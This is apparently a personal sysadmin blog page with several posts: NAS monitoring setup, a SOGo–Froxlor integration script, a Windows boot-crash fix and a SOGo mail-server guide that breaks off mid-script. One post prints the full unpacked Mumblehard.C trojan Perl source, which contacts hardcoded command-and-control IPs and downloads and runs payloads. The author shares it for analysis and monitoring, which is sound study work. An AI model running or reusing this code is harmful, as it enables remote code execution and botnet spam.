Puls 4 Mediathek mit Firefox auf Windows XP nutzen

By dose | December 3, 2017
Under: Uncategorized
Comments: 1 Comment »

Die letzten Monate über hatte ich mich sehr geärgert, dass ich die Videos vom Privatsender Puls4 auf meinem Windows XP mit Mozilla Firefox nicht mehr abspielen konnte.
Nun habe ich herausgefunden, dass es an einer H.264 Codec Inkompatibilität von Mozilla Firefox liegt. Glücklicherweise hat der xp bouncer eine Lösung dafür gefunden:
http://wp.xin.at/archives/4059
Herzlichen Dank auf diesem Wege, funktioniert einwandfrei!

Installing nrpe (Nagios remote mon) on entware-ng

By dose | November 24, 2017
Under: Uncategorized
Comments: No Comments »

Recently I got a synology DS216+II NAS where I had to install rsnapshot for daily backups.
This works quite nicely using entware-ng, but of course, backup status should also be monitored, i.e. by remove check done by nagios.
Unfortunately there is no nrpe-Package available, so you have to compile it on your own.
When fetching Headers with wget include.tar.gz, ensure to specify the correct architecture for your NAS in download URL.

opkg install libwrap gcc make nagios-plugins
cd /tmp
wget -qO- http://pkg.entware.net/binaries/x86-64/include/include.tar.gz | tar xvz -C /opt/include
wget https://github.com/NagiosEnterprises/nrpe/archive/nrpe-2-15.tar.gz
tar -xzvf nrpe-2-15.tar.gz
cd nrpe-nrpe-2-15
./configure --enable-command-args --prefix=/opt --with-ssl-inc=/opt/include/openssl/ --with-ssl=/bin/
make
echo "nagios:x:5666:5666::/opt:/sbin/nologin">>/etc/passwd
echo "nagios:x:5666:">>/etc/group
make install-daemon
make install-daemon-config
vi /opt/etc/init.d/S00nrpe
#!/bin/sh
 
start() {
    /opt/bin/nrpe -c /opt/etc/nrpe.cfg -d
}
 
stop() {
    killall nrpe
}
 
case "$1" in
    start)
        start
        ;;
    stop)
        stop
        ;;
    restart)
        stop
        start
    ;;
    *)
    echo "Usage: $0 {start|stop}"
    ;;
esac
chmod +x /opt/etc/init.d/S00nrpe
vi /opt/etc/nrpe.cfg

Have fun.

Integrating SOGo with Froxlor

By dose | November 21, 2017
Under: Uncategorized
Comments: No Comments »

I recently wanted to equip a Server that was managed with the Froxlor (formally known as SysCP) Management system with SOGo Groupware features.
Linking the e-mail accounts with SOGo isn’t very hard provided that you let Froxlor save the e-mail passwords in plain text.
In case you don’t want to do this and enhance security (which I would strongly encourage you to do), please also make the modifications to Froxlor shown in this blog additionally to the instructions provided here.
The installation on Debian is already known from my former SOGo installation tutorial.

1) Install SOGo 2

echo deb http://packages.inverse.ca/SOGo/nightly/2/debian/ jessie jessie >>/etc/apt/sources.list
apt-key adv --keyserver keys.gnupg.net --recv-key 0x810273C4
apt-get update
apt-get install sogo mysql-server sope4.9-gdl1-mysql memcached

2) Fix some packages

sed -i "s/SHOWWARNING=true/SWOWWARNING=false/" /etc/tmpreaper.conf # suppress tmpreaper warnings
sed -i "s/127.0.0.1/localhost/" /etc/memcached.conf # Fix IPv6 errors
/etc/init.d/mysql restart
/etc/init.d/memcached restart

3) Install MySQL and create user table

Now this step differs slightly from my previous tutorial, as you have to link the sogo-Database with Froxlor:

mysql -u root -p mysql
    CREATE DATABASE `sogo` CHARACTER SET='utf8';
    CREATE USER 'sogo'@'localhost' IDENTIFIED BY 'sogopasswd';
    GRANT ALL PRIVILEGES ON `sogo`.* TO 'sogo'@'localhost' WITH GRANT OPTION;
    GRANT ALL PRIVILEGES ON `froxlor`.* TO 'sogo'@'localhost' WITH GRANT OPTION;
    FLUSH PRIVILEGES;
    quit

4) Create a sogo.conf configuration file

Now in this tutorial for some variation, I assume that you were using Courier IMAPd and migrated from it, even though Dovecot is current standard for Forxlor.
It is very important that you don’t forget to place the

/***DOMAINS***/

marker in the file, as the config file will be used as a template for the automatic configuration by Froxlor:

/etc/sogo/sogo.conf
{
  /* Database configuration (mysql:// or postgresql://) */
  SOGoProfileURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_user_profile";
  OCSFolderInfoURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_folder_info";
  OCSSessionsFolderURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_sessions_folder";

  /* Mail */
  /* The INBOX/-Prefixed lines are just an example to use if you are 
     converting from Courier IMPD, otherwise don't use them */
  SOGoDraftsFolderName = INBOX/Drafts;
  SOGoSentFolderName = INBOX/Sent;
  SOGoTrashFolderName = INBOX/Trash;
  SOGoIMAPServer = localhost;
  SOGoSMTPServer = 127.0.0.1;
  SOGoMailDomain = my.maildomain.com;
  SOGoMailingMechanism = smtp;

/***DOMAINS***/

  SOGoVacationEnabled = YES;
  SOGoSieveScriptsEnabled = YES;
  SOGoMailAuxiliaryUserAccountsEnabled = YES;

  /* General - SOGoTimeZone *MUST* be defined */
  SOGoLanguage = German;
  SOGoTimeZone = Europe/Vienna;

  SOGoSuperUsernames = (user@my.maildomain.com);

  /* Activesync */
  SOGoMaximumPingInterval = 300;
  WOWorkersCount = 15;
  SOGoMaximumSyncWindowSize = 100;
  SOGoMaximumSyncResponseSize = 5172;
}

Fill SOGoMaiDomain with the DNS of your local mailserver and define the superuser-account, which you should create in froxlor as mail-address to a certain domain (pick one of your Froxlor-Mailaccounts).

Now that you have set up a proper SOGo configuration, copy the file as the new template file to use for Froxlor:

cp /etc/sogo/sogo.conf /etc/sogo/sogo.conf.tpl

From now on, only edit sogo.conf.tpl if you want to change sogo config, as sogo.conf will get overwritten after Froxlor change

4b) Only needed when migrating from Courier to Dovecot

If you had Courier IMAPd installed on your site, like I unfortunately had, it is recommednded to migrate to Dovecot in order to be able to use the Exchange Activesync components.
In order to do this, more or less follow the Dovecot-Installation instructions in Froxlor control panel under configuration (for both SMTP and IMAP). Then don’t forget to convert your mailboxes with the courier-dovecot-migrate.pl scriptin the subdirectories of /var/customers/mails . As you are coming from Courier, don’t forget to set the nasty INBOX. prefix that Courier IMAPd users were used to in order to do a smooth transition:

/etc/dovecot/conf.d/10-mail.conf
mail_access_groups = vmail
mail_privileged_group = vmail
mail_uid = 2000
mail_gid = 2000
 
# Required only for courier migration
namespace inbox {
  prefix = INBOX.
  separator = .
  inbox = yes
}

5) Integrate sync mechanism between Froxlor and SOGo

Now we need to setup beforementioned sync mechanism. Create the following PHP-file:

/var/www/froxlor/scripts/jobs/cron_tasks.inc.sogo.php
<?php
/*********************************
 * Sync Forxlor Domains to SoGo  *
 *********************************/
function sync_to_sogo()
{
    // Config
    $sogousr='sogo';
    $sogopasswd='sogopasswd';
 
    $bRet = false;
    if (!($conn=mysql_connect('localhost', $sogousr, $sogopasswd)))
    {
        echo 'Error connecting to SOGO database: '.mysql_error();
        return false;
    }
    if (!mysql_select_db('sogo', $conn))
    {
        echo 'Cannot select DB sogo: '.mysql_error();
        mysql_close($conn);
        return false;
    }
 
    $restart_cmd='/etc/init.d/sogo restart';
    $tplfil='/etc/sogo/sogo.conf.tpl';
    $tmpfil='/tmp/sogo.conf';
    $cnffil='/etc/sogo/sogo.conf';
 
    if ($fpsog=fopen($tplfil, 'r'))
    {
        if ($fp=fopen($tmpfil, 'w'))
        {
            while ($line=fgets($fpsog))
            {
                if (trim($line)=='/***DOMAINS***/') break;
                fwrite($fp, $line);
            }
            if ($line)
            {
                $q=mysql_query('SELECT froxlor.panel_domains.domain FROM froxlor.panel_domains WHERE isemaildomain=1', $conn);
                fprintf($fp, "domains = {\n");
                while ($r=mysql_fetch_row($q))
                {
                    $domainkey = preg_replace("/[^A-Za-z0-9]/", '_', $r[0]);
                    if (mysql_query("CREATE OR REPLACE VIEW auth_$domainkey AS
                       SELECT froxlor.mail_users.email AS c_uid,
                       froxlor.mail_users.email AS c_name,
                       froxlor.mail_users.password AS c_password,
                       froxlor.mail_users.email AS c_cn,
                       froxlor.mail_users.email AS mail
                       FROM froxlor.panel_domains, froxlor.mail_users
                       WHERE froxlor.mail_users.domainid=froxlor.panel_domains.id
                       AND froxlor.panel_domains.domain = '".$r[0]."'", $conn))
                    {
                        fprintf($fp, "
%s = {
          SOGoMailDomain = %s;
          SOGoUserSources = (
               {
                 type = sql;
                 id = %s;
                 viewURL = \"mysql://%s:%s@localhost:3306/sogo/auth_%s\";
                 canAuthenticate = YES;
                 isAddressBook = NO;
                 userPasswordAlgorithm = plain;
               }
          );
  };
", $r[0], $r[0], $domainkey, $sogousr, $sogopasswd, $domainkey);
 
                    }
                    else echo 'Error creating view for domain '.$r[0];
                }
                fwrite ($fp, "};");
                while ($line=fgets($fpsog)) fwrite($fp, $line);
                $bRet = true;
            }
            else echo "Marker /***DOMAINS***/ not found in $tplfil template.";
            fclose($fp);
        }
        else echo "Cannot create temp. tmpfil file";
        fclose($fpsog);
    }
    else echo "Cannot open $tplfil for reading";
    mysql_close($conn);
 
    if ($bRet)
    {
        if ($bRet=rename($tmpfil, $cnffil))
        {
            shell_exec($restart_cmd);
        }
        else echo "Cannot overwrite $cnffil";
    }
    return $bRet;
}
?>

Now edit

/var/www/froxlor/scripts/jobs/cron_tasks.php

and add the folowing line to the require_once lines:

require_once makeCorrectFile(dirname(__FILE__) . '/cron_tasks.inc.sogo.php');

Within block

        /**
         * TYPE=1 MEANS TO REBUILD APACHE VHOSTS.CONF
         */
        if ($row['type'] == '1') {
...
        }

Add the following line before the closing Bracket } of the if:

sync_to_sogo();

6) Enjoy

Now everytime you create a domain or make other changes, a view shoud be created in the sogo-database that points to all usernames of the e-mail accounts from a certain domain and sogo.conf is being rewritten with multidomain support for all e-mail domains so that it is in sync with SOGo.
I hope my little script helps you a bit with integrating SOGo with Froxlor.

c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.

By dose | May 16, 2017
Under: Uncategorized
Comments: No Comments »

Yesterday I had a case where a Windows 7 machine halted with

c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.
0x00000000 (0xC0000001, 0x00010400)

This means that the login processes died for some reason. After trying last good configuration, repair mode etc. and nothing seemed to help, I started up with the Windows 7 BootCD and checked the registry by running regedit from the command prompt and loading the SYSTEM, SOFTWARE etc. hives from Windows\system32\config directory into regedit.
I noticed that the SOFTWARE hive was nearly empty except for some Microsoft keys.
Another blogger had exactly the same problem:

Vista: Stop: c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.


So I first tried to run Microsoft chkreg utility over a copy of the SOFTWARE hive, but it was unable to find corruption and fix it. An expanded chkreg.exe utility that can be used on the Windows command shell directly can be found here.

As this didn’t succeed, I tried to copy back the SOFTWARE file from Windows\system32\config\RegBack.
I wasn’t expecting it to work, as I thought that the Last known good configuration feature from the start menu would do the same, but it seems that this isn’t the case, so copying it back helped and the computer was ablt to boot up again.

Next step was to find out what has happened. I compared the broken and the good SOFTWARE file with each other and I noticed that they were nearly identical except for one page where its contents were empty in the broken registry file and were filled in the working backup file. I checked the Harddisks’ SMART values and found out that the HDD had 25 Reallocated Sectors. I suspect that there was a Relocation process going on on last shutdown that resulted in a blank sector to be written right in the middle of the Reigstry file which caused the corruption. Time to immediately change the HDD before it completely breaks down.

Mumblehard.C trojan unpacked

By dose | March 30, 2017
Under: Uncategorized
Comments: No Comments »

Recently a server got infected with the Mumblehard.C trojan due to an unmaintained WordPress installation.
The trojan seems to have been installed to /var/tmp directory on the server and run via cron every 10 minutes to check for new comamdns of its Command&Control servers. The trojan is mainly used for spamming activity.

The executable itself is a simple C program, that unpacks an XORed perl-script that then gets executed in memory (overwriting its process name with “qmail”).
It seems that the Command&Control servers of the trojan are still active and haven’t changed in a few months, as there is an analysis of the malware sample available from December 2016 which still contacted the same IP-adresses:

https://detux.org/report.php?sha256=a4199f2a1539f0e9b5d18b81873ad65f332046b2a1c4f7e44b039fd93e369c87

It is interesting that these hosts haven’t been shutdown since then by the ISPs.
If you are interested, here is the momblehard.C PERL script as extracted from the malicious executable. You can modify the system() command and play botnet client yourself to monitor it 😉

use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0="qmail";
$|=1;
my $ewblock = 11;
my $eiprogr = 150;
if ($^O eq "linux") {
    $ewblock = 11;
    $eiprogr = 115;
}
if ($^O eq "freebsd") {
    $ewblock = 35;
    $eiprogr = 36;
}
&main();
sub main {
    exit 0 unless defined(my $pid = fork);
    exit 0 if $pid;
    POSIX::setsid();
    $SIG {$_} = "IGNORE" for (qw(HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
    umask 0;
    chdir "/";
    open(STDIN, "</dev/null");
    open(STDOUT, ">/dev/null");
    open(STDERR, ">&STDOUT");
    my $url = ["31.220.18.115", "5.101.142.81", "5.2.86.225", "5.135.42.98", "50.7.133.245", "5.9.157.230"];
    my $tst = ["a".."z", "A".."Z"];
    $tst = join("", @$tst[map { rand@ $tst }(1..(6 + int rand 5))]);
    my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$tst")) { close F; unlink "/tmp/$tst "; $dir ="/tmp"; }
    my($header, $content);
    my($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
    foreach my $rs(@$url) {
        $header = "$dir/".time;
        $content = $header."1";
        unlink $header if -f $header;
        unlink $content if -f $content; 
        &http($rs, $timeout, $header, $content, 0);
        if (open(F, "<", $header)) {
            flock F, 1;
            my($test, $task) = (0, "");
            while (<F>) {
                s/^\s*([^\s]?.*)$/$1/;
                s/^(.*[^\s])\s*$/$1/;
                next unless length $_;
                $test++
                if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close";
                $task = $1
                if /^Set-Cookie: PHPSESSID=([^;]+)/;
            }
            close F;
            ($link, $file, $id, $command, $timeout) = &decd($task) if $test == 2 && length $task;
        }
        unlink $header if -f $header;
        unlink $content if -f $content;
    }
 
    exit 0 if !defined $command || $command!~/^16$/;
    $header = "$dir/".time;
    $content = "$dir/$file";
    unlink $header
    if -f $header;
    unlink $content
    if -f $content; &http($link, $timeout, $header, $content, 1);
    my($resp, $size) = ("000", 0);
    if (open(F, "<", $header)) {
        flock F, 1;
        while (<F>) {
            s/^\s*([^\s]?.*)$/$1/;
            s/^(.*[^\s])\s*$/$1/;
            next unless length $_;
            $resp = $1 if /^HTTP\S+\s+(\d\d\d)/;
        }
        close F;
    }
    $size = (stat $content)[7] if -f $content;
    $size = 0 if !defined $size || $size!~/^\d+$/;
    if ($size > 0) {
        chmod 0755, $content;
        system "$content >/dev/null 2>&1"; 
    }
    unlink $header if -f $header;
    unlink $content if -f $content;
    foreach my $rs(@$url) {
        $header = "/dev/null";
        $content = $header; &http($rs, 10, $header, $content, 0, "$id.$resp.$size");
    }
    exit 0;
}
 
sub xorl {
    my($line, $code, $xor, $lim) = (shift, "", 1, 16);
    foreach my $chr(split(//, $line)) {
      if ($xor == $lim) { $lim = 0 if $lim == 256; $lim += 16; $xor = 1; }
      $code. = pack("C", unpack("C", $chr) ^ $xor); $xor++;
    }
    return $code;
}
sub decd {
    my $data = pack("H*", shift);@
    _ = unpack("C5", substr($data, 0, 5, ""));
    return (&xorl(substr($data, 0, shift, "")), &xorl(substr($data, 0, shift, "")), @_);
}
sub http {
    my($url, $timeout, $header, $content, $mode, $gecko) = @_;
    $gecko = "20100101"
    if !defined $gecko || !length $gecko;
    my($host, $port, $path) = $url = ~/^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
    return unless $host;
    my $addr;
    if ($host = ~/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ && $1 < 256 && $2 < 256 && $3 < 256 && $4 < 256) {
        $addr = pack("C4", $1, $2, $3, $4);
    } else {
        $addr = gethostbyname $host;
    }
    return unless $addr;
    $port || = 80;
    $path || = "/";
    $addr = sockaddr_in($port, $addr);
    my $readers = IO::Select->new() or return;
    my $writers = IO::Select->new() or return;
    my $buffer = join("\x0D\x0A",
        "GET $path HTTP/1.1", "Host: $host", "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/$gecko Firefox/7.0.1", "Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.9",
        "Accept-Language: en-us,en;q=0.5", "Accept-Encoding: gzip, deflate", "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Connection: close", "\x0D\x0A");
    if ($mode) {
        $buffer = join("\x0D\x0A",
            "GET $path HTTP/1.0", "Host: $host", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Accept: text/html,*/*", "Connection: close", "\x0D\x0A");
    }
    my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
    return unless $socket;
    $socket->blocking(0);
    unless($socket->connect($addr)) {
        if ($! != $eiprogr && $! != $ewblock) {
            close $socket;
            return;
        }
    }
    $writers->add($socket);
    $timeout+=time;
    my $step = 0;
    while (1) {
        IO::Select->select(undef, undef, undef, 0.02);
        my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
        foreach my $handle(@$writable) {
            if ($step == 0) {
                $step = 1
                if $handle->connected;
            }
            if ($step == 1) {
                my $result = syswrite($handle, $buffer);
                if (defined $result && $result > 0) {
                    substr($buffer, 0, $result) = "";
                    if (!length $buffer) {
                        $readers->add($handle);
                        $writers->remove($handle);
                        $step = 2;
                    }
                }
                elsif($! == $ewblock) {
                    next;
                } else {
                    $timeout = 0;
                }
            }
       }
       my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
       foreach my $handle(@$readable) {
            next if $step < 2;
            my $result;
            if ($step == 2) {
                $result = sysread($handle, $buffer, 8192, length $buffer);
            } else {
                $result = sysread($handle, $buffer, 8192);
            }
            if (16384 < length $buffer) {
                $timeout = 0;
            }
            elsif(defined $result) {
                if ($result > 0) {
                    if ($step == 2) {
                        my $offset = index($buffer, "\x0D\x0A\x0D\x0A");
                        next if $offset < 0;
                        if (open(F, ">>", $header)) {
                            flock F, 2;
                            binmode F;
                            print F substr($buffer, 0, $offset);
                            close F;
                        }
                        substr($buffer, 0, $offset + 4) = "";
                        $step = 3;
                    }
                    if ($step == 3) {
                        if (length $buffer) {
                            if (open(F, ">>", $content)) {
                                flock F, 2;
                                binmode F;
                                print F $buffer;
                                close F;
                            }
                            $buffer = "";
                        }
                    }
                    next;
                }
                $timeout = 0;
            }
            elsif($! == $ewblock) {
                next;
            } else {
                $timeout = 0;
            }
        }
        if ($timeout < time) {
            foreach my $handle($writers->handles, $readers->handles) {
                $writers-> remove($handle) if $writers->exists($handle);
                $readers-> remove($handle) if $readers->exists($handle);
                close $handle;
            }
            return;
        }
    }
}

Installation of a SOGo Debian Server for Groupware use

By dose | December 18, 2016
Under: Uncategorized
Comments: 4 Comments »

Motivation

Since the release of Microsoft Outlook 2016, it is possible to connect clients via the ActiveSync protocol, mostly known for its use on mobile devices to synchronize Calender, contacts and e-mail. So the complicated MAPI protocol (i.e. offered by OpenChange project) isn’t necessarily needed anymore.
So my goal was to set up a Linux server that offers ActiveSync protocol interfaces as well as the “classic” IMAP, Caldav and Carddav interfaces for integration with e-mail clients such as Thunderbird. For this SOGo seems to be a very good solution, because it offers you to use the standard Unix daemons in your desired configuration and is just a component that you can easily plug in to offer access to all components with above mentioned protocols which makes the server very easy to maintain without the need to use new, unfamiliar interfaces to manage it like partly with other groupware servers.

So I describe some simple setup for SOGo 2 (because I like its webinterface) on a Debian Jessie Server for handling mail on one domain in the combination Dovecot IMAP server and Postfix MTA. It is a mix of stuff taken from several tutorials available on the Internet.

Installation

1) Install SOGo 2

echo deb http://packages.inverse.ca/SOGo/nightly/2/debian/ jessie jessie >>/etc/apt/sources.list
apt-key adv --keyserver keys.gnupg.net --recv-key 0x810273C4
apt-get update
apt-get install sogo mysql-server sope4.9-gdl1-mysql memcached

2) Fix some packages

sed -i "s/SHOWWARNING=true/SWOWWARNING=false/" /etc/tmpreaper.conf # suppress tmpreaper warnings
sed -i "s/127.0.0.1/localhost/" /etc/memcached.conf # Fix IPv6 errors
/etc/init.d/mysql restart 
/etc/init.d/memcached restart

3) Install MySQL and create user table

Unforutnately, SOGo doesn’t support PAM authentication for whatever reason. The most common solution in the tutorials is to use a LDAP server, which is of course also possible, but for me, it is harder to maintain due to my lack of LDAP-Skills. Therefore I decided to maintain a MySQL user database which will also be used by Dovecot for authentication and which I can add new shell users to with a simple shell script presented lateron. I prefer to have my mailbox users in /etc/passwd with a disabled login shell so that they automatically have a systemwide account, get their e-mails stored and delivered to their home-directories. That’s why I chose this method:

mysql -u root -p mysql
    CREATE DATABASE `sogo` CHARACTER SET='utf8';
    CREATE USER 'sogo'@'localhost' IDENTIFIED BY 'sogopasswd';
    GRANT ALL PRIVILEGES ON `sogo`.* TO 'sogo'@'localhost' WITH GRANT OPTION;
    USE sogo;
    CREATE TABLE sogo_users (c_uid VARCHAR(60) PRIMARY KEY, c_name VARCHAR(60), 
c_password VARCHAR(32), c_cn VARCHAR(128), mail VARCHAR(128), 
home VARCHAR(255) NOT NULL, uid INTEGER NOT NULL, gid INTEGER NOT NULL);
    FLUSH PRIVILEGES;
    quit

4) Install and configure dovecot IMAP-Server

apt-get install dovecot dovecot-sieve dovecot-lmtpd dovecot-managesieved dovecot-sql dovecot-mysql

You can also install dovecot-pop3d if needed.

/etc/dovecot/conf.d/10-auth.conf
#!include auth-system.conf.ext
!include auth-sql.conf.ext
/etc/dovecot/conf.d/10-mail.conf
mail_location = maildir:~/Maildir
/etc/dovecot/conf.d/10-master.conf
service lmtp {
  unix_listener /var/spool/postfix/private/dovecot-lmtp {
    group = postfix
    mode = 0600
    user = postfix
  }
}

service auth {
  unix_listener /var/spool/postfix/private/auth {
    mode = 0666
    user = postfix
    group = postfix
  }
}
/etc/dovecot/conf.d/15-lda.conf
lda_mailbox_autocreate = yes
/etc/dovecot/conf.d/20-lmtp.conf
protocol lmtp {
  postmaster_address = postmaster@domain.com
  mail_plugins = $mail_plugins sieve
}
/etc/dovecot/conf.d/20-managesieve.conf
service managesieve-login {
  inet_listener sieve {
    port = 4190
    address = 127.0.0.1
  }
}
/etc/dovecot/conf.d/auth-sql.conf.ext
passdb {
  driver = sql
  args = /etc/dovecot/dovecot-sql.conf.ext
}

userdb {
  driver = prefetch
}

userdb {
  driver = sql
  args = /etc/dovecot/dovecot-sql.conf.ext
}
/etc/dovecot/dovecot-sql.conf.ext
driver = mysql
connect = host=localhost dbname=sogo user=sogo password=sogopasswd
default_pass_scheme = MD5
user_query = \
  SELECT home, uid, gid \
  FROM sogo_users WHERE c_uid = '%n'
password_query = \
  SELECT c_uid AS user, c_password AS password, \
    home AS userdb_home, uid AS userdb_uid, gid AS userdb_gid \
  FROM sogo_users WHERE c_uid = '%u'

4) Install the Postfix MTA

I assume that you have 2 DNS set up pointing to your mailserver: mail.domain.com and imap.domain.com, this also facilitates automatic mail server detection in most Mail applications.

apt-get install postfix postfix-policyd-spf-python
/etc/postfix/main.cf
myhostname = mail.domain.com
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes

home_mailbox = Maildir/
mailbox_transport = lmtp:unix:private/dovecot-lmtp

# Restrictions
policy-spf_time_limit = 3600s
smtpd_helo_required = yes
smtpd_recipient_restrictions = permit_mynetworks,
    permit_sasl_authenticated,
    reject_unauth_destination,
    reject_unauth_pipelining,
    reject_non_fqdn_recipient,
    check_policy_service unix:private/policy-spf

smtpd_sender_restrictions = permit_mynetworks,
    permit_sasl_authenticated,
    reject_unknown_hostname,
    reject_unknown_recipient_domain,
    reject_unknown_sender_domain

smtpd_client_restrictions = permit_mynetworks,
    permit_sasl_authenticated
/etc/postfix/master.cf
# SPF
policy-spf  unix  -       n       n       -       -       spawn
     user=nobody argv=/usr/bin/policyd-spf

5) Install Apache 2 webserver

apt-get install apache2 sogo-activesync
a2enmod proxy
a2enmod proxy_http
a2enmod headers
a2enmod rewrite
a2enconf SOGo

6) configure Microsoft ActiveSync

Please read here carefully for related documentation.

apt-get install sogo-activesync

Uncomment and modify:

/etc/apache2/conf-available/SOGo.conf
ProxyPass /Microsoft-Server-ActiveSync \
	http://127.0.0.1:20000/SOGo/Microsoft-Server-ActiveSync \
	retry=60 connectiontimeout=60 timeout=660

7) Install Let’s encrypt SSL-certificates for your site

As self-signed certificates are always needed to be added to a trust list on the client side which makes setup for the user harder and we now have the possibility to get free SSL-certificates by the Let’s encrypt project, it is a good idea to use them instead. The downside of this may be the expiration time (3 months), but as renewal process can be automated with a cron-job, it’s not such a big issue.

/etc/apache2/sites-available/000-default.conf
ServerAlias mail.domain.com
ServerAlias imap.domain.com
echo "deb http://ftp.debian.org/debian jessie-backports main" >>/etc/apt/sources.list
apt-get update
apt-get install python-certbot-apache -t jessie-backports
letsencrypt --apache -d mail.domain.com -d imap.domain.com

Change TLS parameters in Postfix:

/etc/postfix/main.cf
smtpd_tls_cert_file=/etc/letsencrypt/live/mail.domain.com/fullchain.pem
smtpd_tls_key_file=/etc/letsencrypt/live/mail.domain.com/privkey.pem

 

/etc/dovecot/conf.d/10-ssl.conf
ssl = yes
ssl_cert = </etc/letsencrypt/live/imap.domain.com/fullchain.pem
ssl_key  = </etc/letsencrypt/live/imap.domain.com/privkey.pem

Now we need to create a renewal-Cronjob for the requested certificates:

/etc/cron.weekly/letsencrypt
#!/bin/sh
letsencrypt renew
result=$(find /etc/letsencrypt/live/ -type l -mtime -1 )
if [ -n "$result" ]; then
  /etc/init.d/apache2 restart
  /etc/init.d/postfix restart
  /etc/init.d/dovecot restart
fi
chmod a+x /etc/cron.weekly/letsencrypt

8) Install DKIM

If you want to increase your e-mail reputation, it is a good idea to set up SPF and DKIM records. For DKIM, you can use opendkim daemon. This step is optional and requires full access to your DNS server.
This was shameslessly copied from here

apt-get install opendkim opendkim-tools
mkdir /etc/opendkim
mkdir /etc/opendkim/keys
mkdir /var/spool/postfix/var/run/opendkim
/etc/opendkim.conf
# OpenDKIM agiert als Mail Filter (= Milter) in den
# Modi signer (s) und verifier (v) und verwendet eine
# Socket-Datei zur Kommunikation (alternativ: lokaler Port)
Mode                    sv
# Socket                  local:/var/run/opendkim/opendkim.sock
# Socket                inet:12345@localhost
Socket                  local:/var/spool/postfix/var/run/opendkim/opendkim.sock

# OpenDKIM verwendet diesen Benutzer bzw.
# diese Gruppe
UserID                  postfix:postfix
UMask                   002
PidFile                 /var/run/opendkim/opendkim.pid

# OpenDKIM bei Problemen neustarten,
# aber max. 10 mal pro Stunde
AutoRestart             yes
AutoRestartRate         10/1h

# Logging (wenn alles funktioniert eventuell reduzieren)
Syslog                  yes
SyslogSuccess           yes
LogWhy                  yes

# Verfahren, wie Header und Body durch
# OpenDKIM verarbeitet werden sollen.
Canonicalization        relaxed/simple

# interne Mails nicht mit OpenDKIM verarbeiten
ExternalIgnoreList      refile:/etc/opendkim/trusted
InternalHosts           refile:/etc/opendkim/trusted

# welche Verschlüsselungs-Keys sollen für welche
# Domains verwendet werden
# (refile: für Dateien mit regulären Ausdrücke)
SigningTable            refile:/etc/opendkim/signing.table
KeyTable                /etc/opendkim/key.table

# diesen Signatur-Algorithmus verwenden
SignatureAlgorithm      rsa-sha256

# Always oversign From (sign using actual From and a null From to prevent
# malicious signatures header fields (From and/or others) between the signer
# and the verifier.  From is oversigned by default in the Debian pacakge
# because it is often the identity key used by reputation systems and thus
# somewhat security sensitive.
OversignHeaders         From
/etc/opendkim/trusted
127.0.0.1
::1
localhost
hostname
domain.com
/etc/opendkim/signing.table
# for E-Mails from xxx@domain.com use the key 'domain' for signing
*@domain.com domain
/etc/opendkim/key.table
# The key 'domain' is located in /etc/opendkim/keys/domain.private
domain domain.com:201611:/etc/opendkim/keys/domain.private
cd /etc/opendkim
opendkim-genkey -d domain.com -b 2048 -r -s 201611
mv 201611.private keys/domain.private
mv 201611.txt     keys/domain.txt
chown -R postfix:postfix /etc/opendkim
chmod -R go-rwx /etc/opendkim/keys
/etc/postfix/main.cf
milter_protocol = 6
milter_default_action = accept
smtpd_milters = unix:/var/run/opendkim/opendkim.sock
non_smtpd_milters = unix:/var/run/opendkim/opendkim.sock

Then add the record from /etc/opendkim/keys/domain.txt to your DNS server.

9) Deploy some antivirus and antispam scripts for the MTA

It is a good idea to have some virus filtering and antispam on a Mailserver obiously. Now there are a lot of filtering solutions out there which can accomplish this, but I prefer not to rely on another piece of big software, so I just use a simple shellscript to do some simple mail filtering according to my needs. I’m using Clamav as an antivirus-filter, spamassassin as a spam-filter and some custom .zip file parsing using munpack which certainly can be improved.

apt-get install clamdscan spamassassin clamav-daemon mpack zip
mkdir /var/spool/spam
chmod 777 /var/spool/spam
mkdir /var/spool/virus
chmod 777 /var/spool/virus
/etc/spamassassin/local.cf
rewrite_header Subject *****SPAM*****
report_contact your_email@address.com
/etc/default/spamassassin
ENABLED=1
/etc/init.d/spamassassin start
mkdir /var/lib/dovecot/sieve
chmod 777 /var/lib/dovecot/sieve/

Now we want to move spam into the Junk folder automatically on the server side:

/var/lib/dovecot/sieve/global.sieve
require "fileinto";
if header :contains "X-Spam-Flag" "YES" {
    fileinto "Junk";
}
/etc/dovecot/conf.d/90-sieve.conf
plugin {
  sieve_before=/var/lib/dovecot/sieve/global.sieve
}

Now create the mail-scanner script that can be modified according to your needs:

/etc/postfix/mail-scanner.sh
#!/bin/sh

EX_OK=0
EX_BOUNCE=69
EX_DEFER=75

SENDMAIL="/usr/sbin/sendmail -G -i"

# prepare for scanning
INPUT=`mktemp /tmp/mail-scanner.XXXXXXXX`
OUTPUT=`mktemp /tmp/mail-scanner.XXXXXXXX`
if [ "$?" != 0 ]; then
    logger -s -p mail.warning -t scanner "Unable to create temporary files, deferring"
    exit $EX_DEFER
fi
trap "rm -f $INPUT $OUTPUT" EXIT TERM
cat >$INPUT

# check for viruses
/usr/bin/clamdscan --quiet - <$INPUT
return="$?"
if [ "$return" = 1 ]; then
    TARGET=/var/spool/virus/`basename $INPUT`
    logger -p mail.info "ClamAV found virus, quarantined as $TARGET"
